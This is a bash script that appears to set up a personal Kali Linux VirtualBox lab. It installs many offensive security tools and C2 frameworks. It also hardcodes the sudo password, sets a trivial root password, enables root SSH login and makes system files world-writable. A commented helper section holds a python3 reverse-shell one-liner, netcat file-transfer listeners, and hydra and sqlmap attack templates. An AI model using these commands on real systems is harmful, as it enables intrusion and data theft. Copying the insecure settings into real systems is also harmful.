-
Notifications
You must be signed in to change notification settings - Fork 0
/
kali-linux-virtualbox-init.sh
1254 lines (899 loc) · 40.3 KB
/
kali-linux-virtualbox-init.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
# Get the current path and the filename of the script
script_file_name="$0"
# Display help message
display_help() {
echo -e "\nDescription:"
echo " This is an init script for setting up Kali Linux."
echo " Please select 'set-terminal' if you are running this for the first time."
echo " After successful running 'set-terminal', then run 'system-update'."
echo " Usage:"
echo -e " $script_file_name [options]\n"
echo " Options:"
echo " -h: Display this help message (--help, /?)."
echo " setup: Start the configuration."
echo " sshkey: Start generate sshkey for kali and root."
echo " set-terminal: This is to set qterminal (/home/kali/.config/qterminal.org/qterminal.ini) and make it immutable."
echo " system-update: Doing system-update with 'apt update'."
}
# Prompt user for input
yes_or_no() {
while true; do
echo -e "\nYou have selected 'setup'"
read -p "Would you like to continue? ('yes|y|Yes|Y|YES' or 'no|n|No|N|N'): " answer
case $answer in
[yY] | [yY][eE][sS])
return 0
;;
[nN] | [nN][oO])
return 1
;;
*)
echo -e "\nInvalid input.\n"
;;
esac
done
}
# Check immutable attribute of a file
check_immutable_attribute() {
if chattr -i "$1" &>/dev/null; then
# echo "$1 is not immutable (chattr -i)."
# echo "$1 does not have the immutable attribute (chattr +i) set."
return 1
else
# echo "$1 is immutable (chattr +i)."
# echo "$1 is set with the immutable attribute (chattr +i)."
return 0
fi
}
# Function to download and install a .deb package
install_deb_package() {
local package_url="$1"
local package_name="$2"
echo "Downloading $package_name..."
wget "$package_url" -O "$package_name.deb"
if [ -e "$package_name.deb" ]; then
echo "Installing $package_name..."
sudo -S <<< "kali" dpkg -i "$package_name.deb"
sudo -S <<< "kali" apt --fix-broken install -y
rm "$package_name.deb"
echo "$package_name installed successfully."
else
echo "Failed to download $package_name."
fi
}
# Function to check the content of a file
check_file_content() {
file="$1"
content="$2"
found=false
for attempt in 1 2; do
if ! grep -q "$content" "$file"; then
if [ $attempt -eq 1 ]; then
echo "Content not found in $file. You MUST close qterminal and open a new one again..."
else
echo "Content not found in $file on the second attempt. You MUST do a \"echo \"kali\" sudo reboot\"..."
exit 1
fi
else
found=true
break # Content found, break out of the loop
fi
done
if [ "$found" = true ]; then
echo "Content found in $file."
fi
}
# Check if exactly one argument is provided
if [ "$#" -ne 1 ]; then
display_help
exit 1
fi
# Check for command line arguments
if [ -z "$1" ]; then
arg1="-h"
else
arg1="$1"
fi
# Display help message
if [ "$arg1" = "/?" ] || [ "$arg1" = "-h" ] || [ "$arg1" = "--help" ]; then
display_help
exit 0
fi
# Capture Ctrl+C and exit
trap "exit 1" INT
# Get the current date in the format DDMMYYYY
current_date=$(date +'%d%m%Y-%H%M')
# Store the argument
argument="$1"
# Store the argument as option
option=""
# Check the argument against the allowed options
case "$argument" in
"/?" | "-h" | "--help")
display_help
;;
"setup")
option="setup"
;;
"sshkey")
option="sshkey"
;;
"system-update")
option="system-update"
;;
"set-terminal")
option="set-terminal"
;;
*)
echo -e "\nInvalid option: $argument"
display_help
exit 1
;;
esac
# Continue the script based on the option
if [[ "$option" == "setup" ]]; then
# Define the filename with the current date
output_file="setup-$current_date.log"
{
# Turn on debugging mode
set -xv
# setterm -foreground white -background blue
# setterm -store
shopt -s extglob
shopt -s cdspell
shopt -s direxpand
shopt -s dirspell
shopt -s dotglob
shopt -s histappend
shopt -s globstar
shopt -s nullglob
# Call function to prompt user for input and continue setup configuration if user enters 'yes'
if yes_or_no; then
echo -e "\nTesting setup configuration...\n"
# Set hostname
sudo -S <<< "kali" hostnamectl set-hostname kali-virtualbox
# Set timezone
sudo -S <<< "kali" timedatectl set-timezone Asia/Singapore
# Set host-only network with static IP in /etc/network/interfaces
if grep -q "iface eth1 inet static" /etc/network/interfaces; then
# The string "iface eth1 inet static" was found in the file
echo -e "The string \"iface eth1 inet static\" was found in the file.\n"
else
# The string was not found in the file
echo -e "The string \"iface eth1 inet static\" was NOT found in the file.\n"
# Backup /etc/network/interfaces
sudo -S <<< "kali" cp -v /etc/network/interfaces /home/kali/Desktop/interfaces.$current_date.bak
sudo -S <<< "kali" chmod 777 /home/kali/Desktop/interfaces.$current_date.bak
{ echo "kali"; echo ""; } | sudo -k -S tee -a /etc/network/interfaces &>/dev/null
{ echo "kali"; echo "auto eth0"; } | sudo -k -S tee -a /etc/network/interfaces &>/dev/null
{ echo "kali"; echo "iface eth0 inet static"; } | sudo -k -S tee -a /etc/network/interfaces &>/dev/null
{ echo "kali"; echo " address 192.168.56.6"; } | sudo -k -S tee -a /etc/network/interfaces &>/dev/null
{ echo "kali"; echo " netmask 255.255.255.0"; } | sudo -k -S tee -a /etc/network/interfaces &>/dev/null
sudo -S <<< "kali" chmod 777 /etc/network/interfaces
sleep 2
sudo -S <<< "kali" systemctl restart networking
sleep 2
sudo -S <<< "kali" ip a | grep -A 10 eth1
fi
# Set root password
{ echo "root"; echo "root"; } | sudo -S passwd root &>/dev/null
# Edit /etc/hosts with hostname
if grep -q "kali-virtualbox" /etc/hosts; then
# The string "kali-virtualbox" was found in the file
echo -e "The string \"kali-virtualbox\" was found in the file.\n"
else
# The string was not found in the file
echo -e "The string \"kali-virtualbox\" was NOT found in the file.\n"
# Backup /etc/hosts
sudo -S <<< "kali" cp -v /etc/hosts /etc/hosts.$current_date.bak
sudo -S <<< "kali" chmod 777 /etc/hosts.$current_date.bak
# Edit /etc/hosts with hostname
sudo -S <<< "kali" sed -i.bak '/127.0.0.1\s*localhost/i 127.0.0.1 kali-virtualbox' /etc/hosts
sudo -S <<< "kali" sed -i.bak '/127.0.0.1\s*kali-virtualbox/i 192.168.56.6 kali-virtualbox' /etc/hosts
sudo -S <<< "kali" chmod 777 /etc/hosts
sudo -S <<< "kali" cat /etc/hosts
fi
# Update apt
sudo -S <<< "kali" apt update -y
# Install rust
# echo "kali" | sudo -S curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
# sleep 2
# rustup update
# sleep 2
sudo -S <<< "kali" apt install -y cargo zsh
sleep 2
setopt CORRECT
setopt ALL_EXPORT
setopt autocd
setopt interactivecomments
setopt magicequalsubst
setopt notify
setopt promptsubst
sleep 2
chsh -s $(which zsh)
# Install starship prompt
echo "kali" | sudo -S curl -sS https://starship.rs/install.sh | sh -s -- -y
sleep 2
# Install basic tools
sudo -S <<< "kali" apt install -y zsh-autosuggestions dos2unix python3 tmux asciinema golang sshuttle neofetch zsh git software-properties-common powershell nmap ltrace lsof strace tshark tcpdump exiftool rpm man-db upx-ucl nfs-common cifs-utils rdesktop ncat netcat-traditional wfuzz sqlmap dnsenum enum4linux nikto nbtscan-unixwiz smbmap linux-exploit-suggester exploitdb binwalk sshuttle john hydra wordlists sshpass jq openssl morse hashid 2to3 mcrypt bsdgames morse2ascii seclists curl feroxbuster impacket-scripts onesixtyone oscanner redis-tools smbclient sslscan tnscmd10g whatweb wkhtmltopdf ffuf gobuster gcc gpg ripgrep fd-find screen powershell-empire starkiller feroxbuster netcat-openbsd metasploit-framework armitage koadic mingw-w64 freerdp2-shadow-x11 freerdp2-x11 snapd remmina ruby evil-winrm feroxbuster shellter evilginx2 chisel burpsuite
sleep 2
# Install sliver c2
sudo -S <<< "kali" apt install -y sliver
# Install rustscan
cargo install rustscan
sleep 2
cargo install eza
sleep 2
# Install fast-syntax-highlighting and zsh-autocomplete
git clone https://github.com/zdharma-continuum/fast-syntax-highlighting /home/kali/.config/fast-syntax-highlighting
git clone --depth 1 -- https://github.com/marlonrichert/zsh-autocomplete.git /home/kali/.config/zsh-autocomplete
# Install fonts-cascadia-code and FiraCode Nerd Font
echo "Downloading CascadiaCode Nerd Font..."
wget https://github.com/microsoft/cascadia-code/releases/download/v2105.24/CascadiaCode-2105.24.zip
echo "Downloading FiraCode Nerd Font..."
wget https://github.com/ryanoasis/nerd-fonts/releases/download/v2.1.0/FiraCode.zip
# Unzip the downloaded font
unzip CascadiaCode-2105.24.zip
sudo -S <<< "kali" unzip FiraCode.zip -d /usr/share/fonts/truetype/
sudo -S <<< "kali" cp -v ttf/CascadiaCodePL.ttf /usr/share/fonts/truetype/
# Update the system's font cache
sudo -S <<< "kali" fc-cache -f -v
# Cleanup
rm -f CascadiaCode-2105.24.zip
rm -f FiraCode.zip
rm -rf otf ttf woff2
rm -f wget-log
# Install VSCODE Version 1.83
vscode_url="https://go.microsoft.com/fwlink/?LinkID=760868"
install_deb_package "$vscode_url" "vscode"
# Install Google Chrome
google_chrome_url="https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb"
install_deb_package "$google_chrome_url" "google-chrome"
# Install Microsoft Edge
edge_url="https://packages.microsoft.com/repos/edge/pool/main/m/microsoft-edge-stable/microsoft-edge-stable_118.0.2088.46-1_amd64.deb?brand=M102"
install_deb_package "$edge_url" "microsoft-edge"
# missing owasp-zap
echo -e "\nmissing owasp-zap"
# missing powershell-for-pentesters # git clone https://github.com/dievus/PowerShellForPentesters
echo -e "\nmissing powershell-for-pentesters \ngit clone https://github.com/dievus/PowerShellForPentesters"
# missing powershell-suite # git clone https://github.com/FuzzySecurity/PowerShell-Suite.git
echo -e "\nmissing powershell-suite \ngit clone https://github.com/FuzzySecurity/PowerShell-Suite.git"
# missing webserver # git clone https://github.com/MScholtes/WebServer.git
echo -e "\nmissing webserver \ngit clone https://github.com/MScholtes/WebServer.git"
# missing ssh-backdoor # git clone https://github.com/NinjaJc01/ssh-backdoor.git
echo -e "\nmissing ssh-backdoor \ngit clone https://github.com/NinjaJc01/ssh-backdoor.git"
# missing jwt_tool # git clone https://github.com/ticarpi/jwt_tool
echo -e "\nmissing jwt_tool \ngit clone https://github.com/ticarpi/jwt_tool"
# Install and setup pipx
python3 -m pip install --user pipx termcolor cprint pycryptodomex requests
python3 -m pipx ensurepath
pipx ensurepath
# Install tools using pipx
pipx install crackmapexec
pipx ensurepath
# Install tools using pip3
pip3 install updog
pip3 install kerbrute
pip3 install name-that-hash
pip3 install qu1ckdr0p2
# Install kerbrute using Go
go install github.com/ropnop/kerbrute@latest
# Update databases for nmap, wpscan, searchsploit, and locate
sudo -S <<< "kali" nmap --script-updatedb
sudo -S <<< "kali" wpscan --update
sudo -S <<< "kali" searchsploit -u
sudo -S <<< "kali" updatedb
# Upgrade apt
sudo -S <<< "kali" apt full-upgrade -y
sleep 2
# Autoremove apt and purge
sudo -S <<< "kali" apt autoremove --purge -y && sudo apt autoclean -y
# Enable SSH at boot and allow root login with SSH
sudo -S <<< "kali" systemctl enable ssh.service
sudo -S <<< "kali" sed -i.bak 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config
sudo -S <<< "kali" sed -i.bak 's/#PubkeyAuthentication yes/PubkeyAuthentication yes/' /etc/ssh/sshd_config
sudo -S <<< "kali" systemctl restart ssh.service
# Backup /home/kali/.zshrc
cp -v /home/kali/.zshrc /home/kali/.zshrc.$current_date.bak
echo -e '\neval "$(starship init zsh)"' >> /home/kali/.zshrc
echo -e '\nexport PATH="$PATH:/home/kali/.cargo/bin"' >> /home/kali/.zshrc
# Check the content of /home/kali/.zshrc
echo ""
cat /home/kali/.zshrc
echo ""
echo -e "\nHISTSIZE=9999\nSAVEHIST=9999\n\nalias nc.tra=/usr/bin/nc.traditional\nalias nc.bsd=/usr/bin/nc.openbsd\nalias screenrec=\"asciinema rec --stdin -i 1 ./\$(date +\"%F_%T_%z\").cast\"\nalias kali_desktop=\"cd /home/kali/Desktop\"\nalias root_desktop=\"cd /root\"\n\nsource ~/.config/fast-syntax-highlighting/fast-syntax-highlighting.plugin.zsh\n\nsource ~/.config/zsh-autocomplete/zsh-autocomplete.plugin.zsh\n\nexport STARSHIP_CONFIG=~/.config/pastel-powerline.toml\n\n" >> /home/kali/.zshrc
# Check the content of /home/kali/.zshrc
echo ""
cat /home/kali/.zshrc
echo ""
echo -e 'source ~/kali-linux-hyper-v-zsh.sh' >> /home/kali.zshrc
# Check the content of /home/kali/.zshrc
echo ""
cat /home/kali/.zshrc
echo ""
echo -e "set -g mouse on\n# sane scrolling:\nbind -n WheelUpPane if-shell -F -t = \"#{mouse_any_flag}\" \"send-keys -M\" \"if -Ft= '#{pane_in_mode}' 'send-keys -M' 'copy-mode -e; send-keys -M'\"" >> /home/kali/.tmux.conf
# Check the content of /home/kali/.tmux.conf
echo ""
cat /home/kali/.tmux.conf
echo ""
echo -e "\n !!! MANUALLY COPY THE BELOW TO /home/kali/kali-linux-hyper-v-zsh.sh !!! \n"
#########################################################################################
# /home/kali/kali-linux-hyper-v-zsh.sh
# MANUALLY COPY THE BELOW TO /home/kali/kali-linux-hyper-v-zsh.sh
#########################################################################################
#!/bin/bash
# fake_sshkey() {
# echo -e "\n ssh-keygen -t rsa -f fake.id_rsa -P '' ; cat fake.id_rsa.pub \n"
# default_fileName="fake"
# echo -n "Specify filename or press Enter to use default filename ($default_fileName): "
# read fileName
# if [ -z "$fileName" ]; then
# fileName=$default_fileName
# fi
# ssh-keygen -t rsa -f "${fileName}.id_rsa" -P ""
# echo -e " \n "
# cat "${fileName}.id_rsa.pub"
# }
# ffuf_command() {
# ls -lah /usr/share/wordlists
# echo -e "\n ffuf -u http://\$1 -w \"/usr/share/wordlists\" -c -v -t 50 -od . -of md -o ffuf-\$3.md \$* \n"
# }
# thm_ffuf() {
# ls -lah /usr/share/wordlists
# echo -n "Specify target (e.g., IP/FQDN): "
# read target
# echo -n "Specify output filename (e.g., IP/FQDN): "
# read filename
# echo -n "Specify wordlist: "
# read wordlist
# ffuf -u "http://$target" -w "$wordlist" -c -v -t 50 -od . -of md -o "${filename}.thm-ffuf.md"
# }
# ffuf_vhost_command() {
# ls -lah /usr/share/wordlists
# echo -e "\n ffuf -w \"/usr/share/wordlists\" -u http://forge.htb/ -H 'Host: FUZZ.forge.htb' -t 200 -fl 10 -c -od . -of md -o ffuf-vhost-forge.htb.md \n"
# }
# find_suid() {
# echo -e "\n find / -type f -perm -04000 -ls >> '$(whoami)-find-suid.txt' 2>/dev/null \n"
# }
# gobuster_command() {
# ls -lah /usr/share/wordlists
# echo -e "\n gobuster -t 45 --delay 100ms dir -e -u \"http://$one\" -o \"gobuster-dir-$two\" -w \"/usr/share/wordlists\" \n"
# }
# gobuster_dir() {
# ls -lah /usr/share/wordlists
# echo -n "Specify target (e.g., IP/FQDN): "
# read target
# echo -n "Specify output filename (e.g., IP/FQDN): "
# read filename
# echo -n "Specify wordlist: "
# read wordlist
# gobuster -t 45 --delay 100ms dir -e -u "http://$target" -o "$filename.gobuster-dir" -w "$wordlist"
# }
# hash_id() {
# echo -e "\n nth -a | ev -t | -f hash ---OR--- hashid -ejm hash \n"
# }
# hydra_command() {
# echo " hydra -s port -o hydra-output -VV -t 60 -f -l lin -P locks.txt 10.10.155.24 ssh "
# }
# john_command() {
# ls -lah /usr/share/wordlists
# echo -e "\n john --format=NT -w rockyou.lst hash.txt --pot=output.txt \n"
# }
# john_result() {
# echo -e "\n john --show hash \n"
# }
# nc_recv() {
# echo -e "\n nc -nlvvp 9998 > \$* \n"
# }
# nc_send() {
# echo -e "\n nc -vv \$1 9998 < \$2 \$* \n"
# }
# nc17777() {
# arguments="-lnvvp 17777"
# nc ${arguments}
# }
# nc17778() {
# arguments="-lnvvp 17778"
# nc ${arguments}
# }
# nc18888() {
# arguments="-lnvvp 18888"
# nc ${arguments}
# }
# nc18889() {
# arguments="-lnvvp 18889"
# nc ${arguments}
# }
# nc19998recv() {
# port=19998
# echo -n "Enter the targeted filename: "
# read fileName
# nc -w 30 -nlvvp $port > $fileName
# }
# nc19998send() {
# port=19998
# echo -n "Specify target (e.g., IP/FQDN): "
# read target_IP
# echo -n "Enter the source filename: "
# read fileName
# cat ${fileName} | nc -w 30 -vv ${target_IP} ${port}
# }
# nc19999recv() {
# port=19999
# echo -n "Enter the targeted filename: "
# read fileName
# nc -w 30 -nlvvp $port > $fileName
# }
# nc19999send() {
# port=19999
# echo -n "Specify target (e.g., IP/FQDN): "
# read target_IP
# echo -n "Enter the source filename: "
# read fileName
# cat $fileName | nc -w 30 -vv $target_IP $port
# }
# new_sshkey() {
# echo -n "Enter the source filename: "
# read fileName
# ssh-keygen -o -v -t ed25519 -a 1000 -f "${fileName}.id_rsa" -P ""
# }
# nikto_command() {
# echo -e "\n nikto -h devzat.htb -p 80 -o nikto-result-devzat.htb -Format txt -Display V \n"
# }
# nmap_output() {
# echo -e "\n -oN nmap-full-safe-scan-\$1 \$2 \$* \n"
# }
# nmap_fast_3000() {
# echo -n "Specify target (e.g., IP/FQDN): "
# read target
# echo -n "Specify output filename (e.g., IP/FQDN): "
# read filename
# nmap -n --privileged --stats-every 25s -vvvvvv -Pn -F --top-ports 3000 -r -sV -O --version-light -T4 --min-parallelism 30 --min-rate 300 --reason --append-output -oN "${filename}.nmap-fast-3000" $target
# }
# nmap_fast_port() {
# echo -n "Specify target (e.g., IP/FQDN): "
# read target
# echo -n "Specify output filename (e.g., IP/FQDN): "
# read filename
# nmap -n --privileged --stats-every 25s -vvvvvv -Pn -p- -r -sV -O --version-light -T4 --min-parallelism 30 --min-rate 300 --reason --append-output -oN "${filename}.nmap-fast-port" $target
# }
# nmap_full_max() {
# echo -n "Specify target (e.g., IP/FQDN): "
# read target
# echo -n "Specify output filename (e.g., IP/FQDN): "
# read filename
# nmap -n --privileged --stats-every 15s -vvvvvv -Pn -p- -r -A -sCSV -O --version-all -T4 --max-parallelism 30 --max-rate 300 --reason --script=safe,default,discovery,version,vuln --append-output -oN "${filename}.nmap-full-max" $target
# }
# nmap_full_min() {
# echo -n "Specify target (e.g., IP/FQDN): "
# read target
# echo -n "Specify output filename (e.g., IP/FQDN): "
# read filename
# nmap -n --privileged --stats-every 15s -vvvvvv -Pn -p- -r -A -sCSV -O --version-all -T4 --min-parallelism 30 --min-rate 300 --reason --script=safe,default,discovery,version,vuln --append-output -oN "${filename}.nmap-full-min" $target
# }
# nmap_full_no_script() {
# echo -n "Specify target (e.g., IP/FQDN): "
# read target
# echo -n "Specify output filename (e.g., IP/FQDN): "
# read filename
# nmap -n --privileged --stats-every 15s -vvvvvv -Pn -p- -r -A -sCSV -O --version-all -T4 --min-parallelism 30 --min-rate 300 --reason --append-output -oN "${filename}.nmap-full-no-script" $target
# }
# nmap_open() {
# echo -n "Specify target (e.g., IP/FQDN): "
# read target
# echo -n "Specify output filename (e.g., IP/FQDN): "
# read filename
# nmap -n --privileged --stats-every 15s -vvvvvv -Pn -p- -r -open --append-output -oN "${filename}.nmap-open" $target
# }
# nmap_ping() {
# echo -n "Specify target (e.g., IP/FQDN): "
# read target
# echo -n "Specify output filename (e.g., IP/FQDN): "
# read filename
# nmap -n --privileged --stats-every 15s -vvvvvv -sn --append-output -oN "${filename}.nmap-ping" $target
# }
# password_list() {
# ls -lah /usr/share/wordlists
# }
# python_web() {
# echo -n "Enter the port: "
# read Port
# python3 -m http.server $Port
# }
# python3_reverse_shell() {
# echo -e "\n /usr/bin/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.4.2.85\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);' \n"
# }
# readme() {
# code -n ./README.md
# }
# rustscan_command() {
# echo -e "\n rustscan -u 5000 -b 1900 -t 4000 --tries 2 --scan-order serial -a 192.168.0.1 -- -Pn -A -sVC --script=safe,default,discovery,version,vuln | tee rustscan-full-result-NAME \n"
# }
# rustscan_simple() {
# echo -e "\n rustscan -u 5000 -b 1900 -t 4000 --tries 2 --scan-order serial -a 10.10.32.200 -- -Pn -sV --script=version | tee rustscan-simple-result-NAME \n"
# }
# sqlmap_command() {
# echo -e "\n sqlmap -u http://10.10.166.239/login.php --forms --data=\"user=^&password=^&s=Submit\" --risk=3 --level=5 --dbs --method POST -o --batch -v 1 --eta --threads=10 --schema --exclude-sysdbs \n"
# }
# sshkey_remove() {
# echo -n "Enter the IP/Hostname to be removed: "
# read STRINGS
# ssh-keygen -R $STRINGS
# }
# wget_command() {
# echo -e "\n wget -r -np -R \"index.html*\" WEB_PATH \n"
# }
# wget_recursive() {
# echo -n "Enter the URL: "
# read STRINGS
# wget -r -np -R "index.html*" $STRINGS
# }
# wordlist() {
# ls -lah /usr/share/wordlists
# }
# You can add more functions as needed
#########################################################################################
# Check the content of /home/kali/kali-linux-hyper-v-zsh.sh
# echo ""
# cat /home/kali/kali-linux-hyper-v-zsh.sh
# echo ""
echo -e "\n !!! MANUALLY COPY THE BELOW TO /home/kali/.config/pastel-powerline.toml !!! \n"
#########################################################################################
# /home/kali/.config/pastel-powerline.toml
# MANUALLY COPY THE BELOW TO /home/kali/.config/pastel-powerline.toml
#########################################################################################
# # Get editor completions based on the config schema
# "$schema" = 'https://starship.rs/config-schema.json'
# # Inserts a blank line between shell prompts
# add_newline = true
# # A continuation prompt that displays two filled in arrows
# continuation_prompt = "▶▶"
# # Wait 10 milliseconds for starship to check files under the current directory.
# scan_timeout = 10
# # Set 'austin' as custom color palette
# palette = 'austin'
# format = """$time$username $fill$cmd_duration$status
# $directory
# $os$shell$character"""
# # Disable the package module, hiding it from the prompt completely
# [package]
# disabled = true
# [line_break]
# disabled = false
# # Define custom colors
# [palettes.austin]
# # Overwrite existing color
# # blue = '#39FF14'
# # Define new color
# # mustard = '#af8700'
# neon_green = '#39FF14'
# [os]
# # format = " $symbol "
# format = "[ $symbol ]($style)"
# style = "bold white"
# # style = "bg:#f07623"
# disabled = false
# # This is the default symbols table.
# [os.symbols]
# Alpaquita = "🔔"
# Alpine = "🏔️"
# Amazon = "🙂"
# Android = "🤖"
# Arch = "🎗️"
# Artix = "🎗️"
# CentOS = "💠"
# Debian = "🌀"
# DragonFly = "🐉"
# Emscripten = "🔗"
# EndeavourOS = "🚀"
# Fedora = "🎩"
# FreeBSD = "😈"
# Garuda = "🦅"
# Gentoo = "🗜️"
# HardenedBSD = "🛡️"
# Illumos = "🐦"
# Linux = "🐧"
# Mabox = "📦"
# Macos = "🍎"
# Manjaro = "🥭"
# Mariner = "🌊"
# MidnightBSD = "🌘"
# Mint = "🌿"
# NetBSD = "🚩"
# NixOS = "❄️"
# OpenBSD = "🐡"
# OpenCloudOS = "☁️"
# openEuler = "🦉"
# openSUSE = "🦎"
# OracleLinux = "🦴"
# Pop = "🍭"
# Raspbian = "🍓"
# Redhat = "🎩"
# RedHatEnterprise = "🎩"
# Redox = "🧪"
# Solus = "⛵"
# SUSE = "🦎"
# Ubuntu = "🎯"
# Unknown = "❓"
# # Windows = "🪟"
# Windows = ""
# # You can also replace your username with a neat symbol like to save some space
# [username]
# show_always = true
# format = '[ \[$user\] ]($style)'
# # style_user = "bg:#9A348E"
# # style_root = "bg:#9A348E fg:red"
# # style_user = "bg:#f07623 fg:#ffffff"
# # style_root = "bg:#f07623 fg:neon_green"
# style_user = "bg:#f07623 fg:#ffffff"
# # style_root = "bg:#93d0fc fg:#ff0000"
# # style_root = "bg:#93d0fc fg:#011efe"
# style_root = "bg:#93d0fc fg:#fe0000"
# [time]
# time_format = "%A|%d-%b-%Y|%T|%:z"
# format = '[ \[$time🕙\] ]($style)'
# # style = 'bg:#8b1ec4 fg:bold neon_green'
# # style = 'bg:#93d0fc fg:#ffa32d'
# style = 'bg:#00a1de fg:#ffffff'
# disabled = false
# [shell]
# format = '[$indicator]($style)'
# # cmd_indicator = "\uebc4"
# powershell_indicator = " "
# cmd_indicator = " "
# # style = 'cyan-blue'
# # style = 'fg:neon_green'
# disabled = false
# [fill]
# symbol = "-"
# style = 'fg:neon_green'
# # style = 'bg:#8b1ec4 fg:neon_green'
# # style = "bold red"
# disabled = false
# [cmd_duration]
# min_time = 1
# show_milliseconds = true
# disabled = false
# format = " [$duration ]($style)"
# # style = "bold italic red"
# [status]
# # style = "bg:blue"
# symbol = " 🔴 "
# success_symbol = " 🟢 "
# format = '[\[$symbol$common_meaning$signal_name$maybe_int\]]($style) '
# map_symbol = true
# disabled = false
# [directory]
# format = "[ $path ]($style)"
# # style = "bg:#DA627D"
# style = "bg:#9600ff fg:#0bff01"
# # style = "bg:#fe0000 fg:#0bff01"
# # style = "bg:#f07623 fg:#0900ff"
# # style = "bg:#011efe fg:neon_green"
# # style = "bg:#cb2c31 fg:#ffffff"
# # style = "bg:#011efe fg:#0bff01"
# # style = "bg:#93d0fc fg:#ff0000"
# # style = "bg:#011efe fg:#00fff9"
# truncation_length = 3
# truncation_symbol = "…\\"
# use_os_path_sep = true
# home_symbol = '~'
# # Here is how you can shorten some long paths by text replacement
# # similar to mapped_locations in Oh My Posh:
# [directory.substitutions]
# "Documents" = "📄 "
# "Downloads" = "📥 "
# "Music" = "🎜 "
# "Pictures" = "📷 "
# # Replace the '❯' symbol in the prompt with '➜'
# [character] # The name of the module we are configuring is 'character'
# success_symbol = '[➜](bold green)' # The 'success_symbol' segment is being set to '➜' with the color 'bold green'
# error_symbol = "[✗](bold red)"
# [python]
# symbol = "🐍 "
# # style = "bold yellow"
# # style = "bold green"
# # pyenv_version_name = true
# pyenv_prefix = "venv "
# python_binary = ["./venv/bin/python", "python", "python3", "python2"]
# detect_extensions = ["py"]
# version_format = "v${raw}"
# format = 'via [${symbol}python (${version} )(\($virtualenv\) )]($style)'
# # format = '\[[${symbol}${pyenv_prefix}(${version})(\($virtualenv\))]($style)\]'
# # format = "[$symbol$version]($style) "
# [rust]
# format = "[$symbol$version]($style) "
# # style = "bold green"
# [hostname]
# ssh_only = true